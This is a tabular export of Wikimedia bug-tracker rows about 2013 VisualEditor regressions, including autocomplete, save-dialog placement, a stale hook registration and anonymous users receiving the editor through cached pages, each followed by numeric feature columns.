+**Severity**: trivial",Unbreak Now!,100.0,1375462680,1375469052.0,PHID-USER-ppvnwr24o32pux3le5ov,False,,False,PHID-TASK-2czs2gshamoxbwaweocz,task_description,resolved,True,c1,3,False,False,True,4,,0,0,0,1,0,1,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+235746,"VisualEditor: Fix violation of PHP strict standard (""Only variables should be passed by reference in VisualEditor/ApiVisualEditor.php on line 255"")",Now fixed in master. Sorry for the slip-up.,,,1375469052,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2czs2gshamoxbwaweocz,task_subcomment,,True,c1,3,True,,,4,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+235742,"VisualEditor: Fix violation of PHP strict standard (""Only variables should be passed by reference in VisualEditor/ApiVisualEditor.php on line 255"")","Change 77362 merged by jenkins-bot:
+Fix notice caused by not passing the WebRequest object by reference
+
+https://gerrit.wikimedia.org/r/77362",,,1375468933,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2czs2gshamoxbwaweocz,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+235740,"VisualEditor: Fix violation of PHP strict standard (""Only variables should be passed by reference in VisualEditor/ApiVisualEditor.php on line 255"")","Change 77362 had a related patch set uploaded by Catrope:
+Fix notice caused by not passing the WebRequest object by reference
+
+https://gerrit.wikimedia.org/r/77362",,,1375468694,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2czs2gshamoxbwaweocz,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+54420,"VisualEditor: autocomplete for wikilinks ""aggressively"" chooses what to link","<<When I was trying to add a link to Classic XI, (didn't know it didn't exist) it repeatedly took the word ""Classic"" and continually tried to make the link go to Classical music. [...] --buffbills7701 19:42, 1 August 2013 (UTC)>>
+
+I tested this as well with Vector on both Chrome and FF, on it.wiki with the word Lettera (which is an existing page), it keeps insisting that I must link to Letteratura instead. I tried a workaround and was able to get Lettere, but it ain't the same thing.
+Thanks!
+
+--------------------------
+**Version**: unspecified
+**Severity**: critical",Unbreak Now!,100.0,1375391400,1375408346.0,PHID-USER-wil4b5lylrvf3krixlkl,True,,False,PHID-TASK-q6smnzvqe6vc4eby67me,task_description,resolved,True,c1,3,False,False,True,4,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,1,0,0,0,0,0,1,1,1,1,0,0,1,0,1,0,0,0,1,0,1,0,0,1,1,0,1,1,0,0,0,0,1,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+233184,"VisualEditor: autocomplete for wikilinks ""aggressively"" chooses what to link",Fixed and will be deployed tonight.,,,1375408346,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-q6smnzvqe6vc4eby67me,task_subcomment,,True,c1,3,True,,,4,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+233177,"VisualEditor: autocomplete for wikilinks ""aggressively"" chooses what to link","Change 77264 merged by jenkins-bot:
+Don't override link target input value while typing
+
+https://gerrit.wikimedia.org/r/77264",,,1375408026,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-q6smnzvqe6vc4eby67me,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+233170,"VisualEditor: autocomplete for wikilinks ""aggressively"" chooses what to link","Change 77264 had a related patch set uploaded by Trevor Parscal:
+Don't override link target input value while typing
+
+https://gerrit.wikimedia.org/r/77264",,,1375404594,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-q6smnzvqe6vc4eby67me,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+233163,"VisualEditor: autocomplete for wikilinks ""aggressively"" chooses what to link","I did not know this was a competition, so more from me as well! :p
+The ""workaround"" is what I mentioned earlier, but it won't always work.
+With it I managed to get ""Lettere"": it autocompleted to Letteratura, then I put the ""e"" after the first ""r"" and cut the rest. But, it did not work to get to ""Lettera"", which was my intended outcome. 
+This also happens if I am interested in, say, ""Letteratura tedesca"": it won't appear in the drop down list, and I am not even allowed to write it. The only way to get there is writing ""letteraturatedesca"" instead, and adding the space later. This makes sense to VE! Thanks.",,,1375392847,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-q6smnzvqe6vc4eby67me,task_subcomment,,True,c1,3,False,,,4,,0,0,0,1,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,1,0,1,0,0,0,1,1,1,1,1,0,0,0,1,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,0,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,0
+233158,"VisualEditor: autocomplete for wikilinks ""aggressively"" chooses what to link","I was 25 seconds too slow reporting Bug 52421, but I did include steps to reproduce:
+1.Load a page in VE
+2.Press ctrl+k to enter a link
+3.Try to enter a link to [[Portable Network Graphics]], [[Classic (album)]] or
+[[Thing (assembly)]].
+
+I've also found a workaround - continue typing the link you want after it's suggestion, then select and delete what it inserted that you don't want.",,,1375392350,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-q6smnzvqe6vc4eby67me,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+233154,"VisualEditor: autocomplete for wikilinks ""aggressively"" chooses what to link",*** Bug 52421 has been marked as a duplicate of this bug. ***,,,1375391536,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-q6smnzvqe6vc4eby67me,task_subcomment,,True,c1,3,True,,,4,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+54368,VisualEditor.php attempts to register a hook handler that was removed,"VisualEditor.php attempts to register a hook handler that was removed (summary credit goes to Ori)
+
+stack: http://paste.tstarling.com/p/GuTJEM.html
+
+Tim says:
+
+> var_dump($wgHooks['BeforeWelcomeCreation']);
+array(2) {
+  [0]=>
+  string(42) ""VisualEditorHooks::onBeforeWelcomeCreation""
+  [1]=>
+  string(44) ""GettingStartedHooks::onBeforeWelcomeCreation""
+}
+
+> print is_callable($wgHooks['BeforeWelcomeCreation'][0]);
+
+> print is_callable($wgHooks['BeforeWelcomeCreation'][1]);
+1
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Unbreak Now!,100.0,1375331160,1375332474.0,PHID-USER-7ey733eainlhx5xqp4d3,False,,False,PHID-TASK-x7tgs2fyboki473gy3pu,task_description,resolved,True,c1,3,False,False,True,4,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,1,1,0,0,0,0,1
+254987,VisualEditor.php attempts to register a hook handler that was removed,"I removed the BeforeWelcomeCreation handler in I8be6198a6 but not the statement in VisualEditor.php that registered it.
+
+1.22wmf11 had not yet been updated to I8be6198a6, so it didn't need to be fixed. 1.22wmf12 did need a fix, but there was a merged change separating the deployed commit and my fix: change I1cd9e2bea. I didn't know if it was safe to deploy and no one from the VE team was around, so I created a cut a 'bug/52368' branch based on the deployed commit, cherry picked the fix on top, and synced that.
+
+My apologies to the VisualEditor team and to the users that were affected.",,,1375332474,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-x7tgs2fyboki473gy3pu,task_subcomment,,True,c1,3,True,,,4,,0,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,1,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,0,1,0,1,0,1,1,0,0,1,0,1,0,1,1,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+254979,VisualEditor.php attempts to register a hook handler that was removed,Ia4e2a7854b3a2a5cbbe4da,,,1375331403,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-x7tgs2fyboki473gy3pu,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+54317,VisualEditor: [Regression] Save dialog sometimes attaches to context menu toolbar instead of platform toolbar,"Screenshot
+
+Since the VE update tonight the save dialog is half out of the screen on FF 23/Win7, but sometimes only.
+
+--------------------------
+**Version**: unspecified
+**Severity**: critical
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=52326
+
+**Attached**: {F11781}",Unbreak Now!,100.0,1375261620,1375312939.0,PHID-USER-3uecblbxq24ycewm2cog,False,,False,PHID-TASK-btjddhvc23db2mven5vt,task_description,resolved,True,c1,3,False,False,True,4,,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+252313,VisualEditor: [Regression] Save dialog sometimes attaches to context menu toolbar instead of platform toolbar,*** Bug 52328 has been marked as a duplicate of this bug. ***,,,1375312992,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-btjddhvc23db2mven5vt,task_subcomment,,True,c1,3,True,,,4,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+252309,VisualEditor: [Regression] Save dialog sometimes attaches to context menu toolbar instead of platform toolbar,This is fixed and being pushed live right now.,,,1375312939,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-btjddhvc23db2mven5vt,task_subcomment,,True,c1,3,True,,,4,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+252305,VisualEditor: [Regression] Save dialog sometimes attaches to context menu toolbar instead of platform toolbar,"Change 76935 merged by jenkins-bot:
+ve.ui.Toolbar: Emit position event on toolbar instead of surface
+
+https://gerrit.wikimedia.org/r/76935",,,1375308246,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-btjddhvc23db2mven5vt,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+252298,VisualEditor: [Regression] Save dialog sometimes attaches to context menu toolbar instead of platform toolbar,*** Bug 52346 has been marked as a duplicate of this bug. ***,,,1375303552,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-btjddhvc23db2mven5vt,task_subcomment,,True,c1,3,True,,,4,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+252292,VisualEditor: [Regression] Save dialog sometimes attaches to context menu toolbar instead of platform toolbar,"Whatamidoing's link is to the Polish Wikipedia:
+[[pl:Wikipedia:VisualEditor/Opinie#b.C5.82.C4.99dnie_wy.C5.9Bwietlaj.C4.85ce_si.C4.99_okno_opisu_zmian]]",,,1375296594,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-btjddhvc23db2mven5vt,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1
+252288,VisualEditor: [Regression] Save dialog sometimes attaches to context menu toolbar instead of platform toolbar,"I have a report of this sort of problem with a misplaced save dialog box appearing in the lower left corner.  The editor is running Linux Mint 14 and Firefox 18.0.2.  See  http://i40.tinypic.com/2eojvh1.jpg and http://i41.tinypic.com/30wqpnb.jpg for his screenshots.
+
+The original problem description can be found at Wikipedia:VisualEditor/Opinie#b.C5.82.C4.99dnie_wy.C5.9Bwietlaj.C4.85ce_si.C4.99_okno_opisu_zmian",,,1375291680,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-btjddhvc23db2mven5vt,task_subcomment,,True,c1,3,False,,,4,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,0,1,1,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,1,0,0
+252282,VisualEditor: [Regression] Save dialog sometimes attaches to context menu toolbar instead of platform toolbar,"Basically it attaches to whichever toolbar is positioned last. So if you click on a link, and then open the save dialog, it pops up there. If you then scroll down (which updates position of platform toolbar), it moves to that one.",,,1375287482,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-btjddhvc23db2mven5vt,task_subcomment,,True,c1,3,True,,,4,,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+252274,VisualEditor: [Regression] Save dialog sometimes attaches to context menu toolbar instead of platform toolbar,"Change 76935 had a related patch set uploaded by Krinkle:
+ve.ui.Toolbar: Emit position event on toolbar instead of surface
+
+https://gerrit.wikimedia.org/r/76935",,,1375287357,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-btjddhvc23db2mven5vt,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+252268,VisualEditor: [Regression] Save dialog sometimes attaches to context menu toolbar instead of platform toolbar,"Renamed.
+
+Removing the link to bug 49969 - the save dialog isn't (yet) an actual dialog, so that would have no effect.
+
+Adding a link to bug 52326 which is possibly caused by the same",,,1375286909,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-btjddhvc23db2mven5vt,task_subcomment,,True,c1,3,True,,,4,,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0
+252263,VisualEditor: [Regression] Save dialog sometimes attaches to context menu toolbar instead of platform toolbar,"There is a lot of discussion about this at https://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback#Save_page_box_drops.2C_button_invisible_without_scrolling_..._but_fixes_itself_given_time including two screenshots: [[File:VE save form off screen.png]] and [[File:VE misplaced save box.jpg]]
+
+From my testing it seems that if an element is selected (picture, link, template) when you click save then the dialog aligns itself to the top right of that element, regardless of whether there is space on screen for it, with scroll bars if there isn't sufficient vertical space in the window to show the whole dialog. If you close the dialog, deselect the element then open the save box again it appears in the same place, only based on what that element is in the view now. If you close and select a different element then save, it relates to that element. If you have not selected any elements during your edit it appears overthe save button.
+
+Steps to reproduce:
+1. Edit a page in VE
+2. Make a change to the page (doesn't matter what)
+3. Click on an element (link, image, template) near the lower left edge of the window.
+4. Click the save button in the top right.",,,1375280775,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-btjddhvc23db2mven5vt,task_subcomment,,True,c1,3,False,,,4,,1,0,0,1,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,0,1,0,0,0,1,1,0,1,0,0,1,1,1,1,0,1,1,0,0,0,0,0,1,1,0,0,0,0,1,1,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,1,1,1,0,1
+54232,Anonymous users getting VisualEditor on German Wikipedia and making edits,"https://de.wikipedia.org/w/index.php?title=Spezial:Letzte_%C3%84nderungen&limit=500&days=30&hideliu=1&tagfilter=visualeditor
+
+---
+29 July 2013
+
+(diff | hist) . . Aurich‎ [pending edits]; 19:40 . . (-1)‎ . . ‎95.165.106.6 (Talk)‎ (→‎Branchen und Unternehmen) (Tag: VisualEditor)
+(diff | hist) . . Djihadismus‎; 19:30 . . (-980)‎ . . ‎2a02:908:df31:8700:6861:a2d8:52b6:1392 (Talk)‎ (Tag: VisualEditor)
+(diff | hist) . . Thronfolge (Vereinigtes Königreich)‎ [pending edits]; 19:30 . . (-2)‎ . . ‎84.155.202.154 (Talk)‎ (→‎Derzeitige Reihenfolge der Thronfolge) (Tag: VisualEditor)
+(diff | hist) . . Lagerungskonzepte‎ [pending edits]; 19:15 . . (+73)‎ . . ‎81.217.18.166 (Talk)‎ (→‎Stützlagerung schwimmend (SLS)) (Tag: VisualEditor)
+(diff | hist) . . Andreas Müller (Fußballspieler, 1962)‎; 19:13 . . (+233)‎ . . ‎2.244.238.208 (Talk)‎ (→‎als Funktionär) (Tag: VisualEditor)
+(diff | hist) . . Nexus 7‎; 19:12 . . (+4)‎ . . ‎88.130.17.139 (Talk)‎ (→‎Zweite Generation (2013)) (Tag: VisualEditor)
+(diff | hist) . . Räumliche Orientierung‎ [pending edits]; 19:09 . . (-55)‎ . . ‎72.89.247.161 (Talk)‎ (für emotionale Betroffenheit lassen sich in der Literatur keine Belege finden.) (Tag: VisualEditor)
+(diff | hist) . . Medien (Land)‎; 19:06 . . (+226)‎ . . ‎78.53.45.165 (Talk)‎ (→‎Spekulationen über die Verwandtschaft von Kurden und Medern) (Tag: VisualEditor)
+(diff | hist) . . Inka Bause‎; 19:05 . . (+42)‎ . . ‎188.194.150.121 (Talk)‎ (→‎Singles:   ist das liebe 1987) (Tag: VisualEditor)
+(diff | hist) . . Mississippi River‎; 19:03 . . (+1)‎ . . ‎77.6.118.157 (Talk)‎ (Tag: VisualEditor)
+(diff | hist) . . Geständnisse‎ [pending edits]; 18:54 . . (+1)‎ . . ‎91.39.63.227 (Talk)‎ (→‎Handlung:  Grammatik) (Tag: VisualEditor)
+(diff | hist) . . Vojtech Tuka‎; 18:53 . . (-23)‎ . . ‎2003:4d:eb3c:f001:5452:a193:58c6:cc59 (Talk)‎ (→‎Flucht, Prozess und Hinrichtung) (Tag: VisualEditor)
+
+25 July 2013
+
+(diff | hist) . . Lotta Schelin‎; 04:26 . . (+2)‎ . . ‎92.76.236.197 (Talk)‎ (→‎Nationalmannschaft) (Tag: VisualEditor)
+---
+
+Anons are editing the German Wikipedia with VisualEditor.
+
+My suspicion is that logged-in users are hitting certain pages, the pages are being cached, and then anons are receiving these cached pages (with the VE init JS loaded).
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=52202",Unbreak Now!,100.0,1375120080,1375124710.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-hdwzoxwzxwme4zwudykf,task_description,resolved,True,c1,3,False,False,True,4,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+247334,Anonymous users getting VisualEditor on German Wikipedia and making edits,"(In reply to comment #7)
+> I'm sorry if we were dismissive earlier. When I said ""VE doesn't work the way
+> you think it does"", what I meant to say was ""despite the confusing way these
+> variables are named, they mean something slightly different, such that one of
+> them is unused if the other one is set a certain way"".
+
+I wasn't annoyed with you (and you weren't the person quoted in comment 6). You're wonderful and I adore you.",,,1375156109,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-hdwzoxwzxwme4zwudykf,task_subcomment,,True,c1,3,False,,,4,,0,1,0,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,1,1,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,1,0,0,0,1,1,1,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,0,1,0,1
+247330,Anonymous users getting VisualEditor on German Wikipedia and making edits,"(In reply to comment #6)
+> I'm fairly annoyed that I was told that VisualEditor ""doesn't work the way
+> you
+> think it does"" this morning and my patch sets were roundly and soundly
+> ignored
+> (in favor of Gerrit change #76516), only to have the exact changes
+> implemented a few hours later after this bug appeared.
+Your patchsets weren't ignored, we worked off them. At the time we honestly believed that this was unnecessary, and the code that uses them is written in a way that leads the reader to believe that it is unnecessary: if wmgVisualEditorDefault is false, wmgVisualEditorDisableForAnons is unused.
+
+However, caching threw a wrench in all of this. Two wrongs made a right, if you will.
+
+I'm sorry if we were dismissive earlier. When I said ""VE doesn't work the way you think it does"", what I meant to say was ""despite the confusing way these variables are named, they mean something slightly different, such that one of them is unused if the other one is set a certain way"".",,,1375144061,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-hdwzoxwzxwme4zwudykf,task_subcomment,,True,c1,3,False,,,4,,1,1,0,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,1,1,0,1,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,0,1,1,1,1,1,0,0,0,0,1,1,1,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,1
+247327,Anonymous users getting VisualEditor on German Wikipedia and making edits,"For the record, if my patch set from Gerrit changeset 76199 and Gerrit changeset 76468 had been merged and deployed, this bug never would have happened.
+
+I'm fairly annoyed that I was told that VisualEditor ""doesn't work the way you think it does"" this morning and my patch sets were roundly and soundly ignored (in favor of Gerrit changeset 76516), only to have the exact changes implemented a few hours later after this bug appeared.",,,1375135721,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-hdwzoxwzxwme4zwudykf,task_subcomment,,True,c1,3,False,,,4,,1,0,0,1,1,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,0,0,0,0
+247323,Anonymous users getting VisualEditor on German Wikipedia and making edits,"(In reply to comment #4)
+> Roan's putting this in place now.
+Done. This bug should stop happening in the next ~10 minutes.",,,1375124710,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-hdwzoxwzxwme4zwudykf,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1
+247318,Anonymous users getting VisualEditor on German Wikipedia and making edits,"(In reply to comment #0)
+> My suspicion is that logged-in users are hitting certain pages, the pages are
+> being cached, and then anons are receiving these cached pages (with the VE
+> init
+> JS loaded).
+
+We don't mix user preference cache between logged-in users and logged-out users, this is definitely not what's happening.
+
+
+What's happening is that a while ago the 'visualeditor-enable' preference was enabled by default on de.wikipedia.org. Though it was disabled for anonymous users by other means, that preference was there and as such is cached inside the anonymous user cache that visited pages while VE was enabled by default on de.wikipedia.org.
+
+The 'other' means to disable for anons have been removed now that the preference is disabled again on de.wikipedia (it is now an opt-in for logged-in users). However this other means is not cached inside the page but globally from the startup module.
+
+So people visiting the pages generated while VE was enabled by default are now getting VE since there is no 'disableForAnons' flag in place.
+
